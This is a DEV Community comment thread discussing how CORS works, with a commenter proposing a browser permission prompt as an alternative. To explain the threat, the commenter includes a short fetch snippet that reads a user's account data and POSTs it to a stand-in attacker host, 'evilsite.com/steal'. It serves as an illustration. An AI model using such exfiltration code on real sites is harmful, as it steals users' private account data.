DEV Community

Discussion on: CORS, In A Way I Can Understand

Collapse
 
nektro profile image
Meghan (she/her)

CORS is so frustrating because because just like your metaphors, it's imperfect. CORS is the wrong solution to a very important problem. In a world of APIs and SPAs, JavaScript can do quite a lot. Say for instance you happen to accidentally go to badsite.com or I can somehow get badsite.com injected into an <iframe> of goodsite.com ((which can stopped with frame-src in CSP)).

I imagine you might have a google account. Without CORS, badsite.com would be allowed to do something very similar to the following:

fetch("https://google.com/api/account_details/@me/everything")
.then(response => response.json())
.then(data => fetch("https://evilsite.com/steal", {method:"POST", body:data});

By having hosts whitelist the sites that are allowed to connect to them (and read the response) developers can know exactly who will be using their site.


This sounds great! Why don't I like it? CORS was added before the JS permission model and Promises. I've run into a few public APIs where they didn't add the proper CORS headers because maybe they didn't know about CORS or they intend for the API to be mostly consumed by non-Web functions (which don't listen to CORS (the browser is the only thing that enforces it)).

This leaves you an unfortunate predicament where you can either try and contact them and try and get the site admin to add the headers (which doesn't always work) or you can use a proxy like cors.io (but the reliability of that site being up is entirely out of your hands.)

Is there an alternative? Yes, of course! Let's look at an example:

// dev.to/account/import/medium_article
fetch("https://medium.com/api/article/501d")
.then(x => x.json())
.then(x => {
    // code...
});

fetch is a built-in function originally added to replace XMLHttpRequest. But since it uses Promises, it would be perfect for this. In the same way that your browser will ask you if it's okay for a site to send you notifications, or auto-play video, they could ask if you're okay with a site connecting to an origin. If the user says no, reject the Promise. So if evilsite.com requests google.com you say no, but if dev.to requests medium.com while you're trying to import a Medium article the fetch succeeds with a normal non-opaque response.


Sorry for the tangent, this is probably an article in the making, but I hope this helped!

Collapse
 
dougblackjr profile image
Doug Black

This helps immensely! Thank you!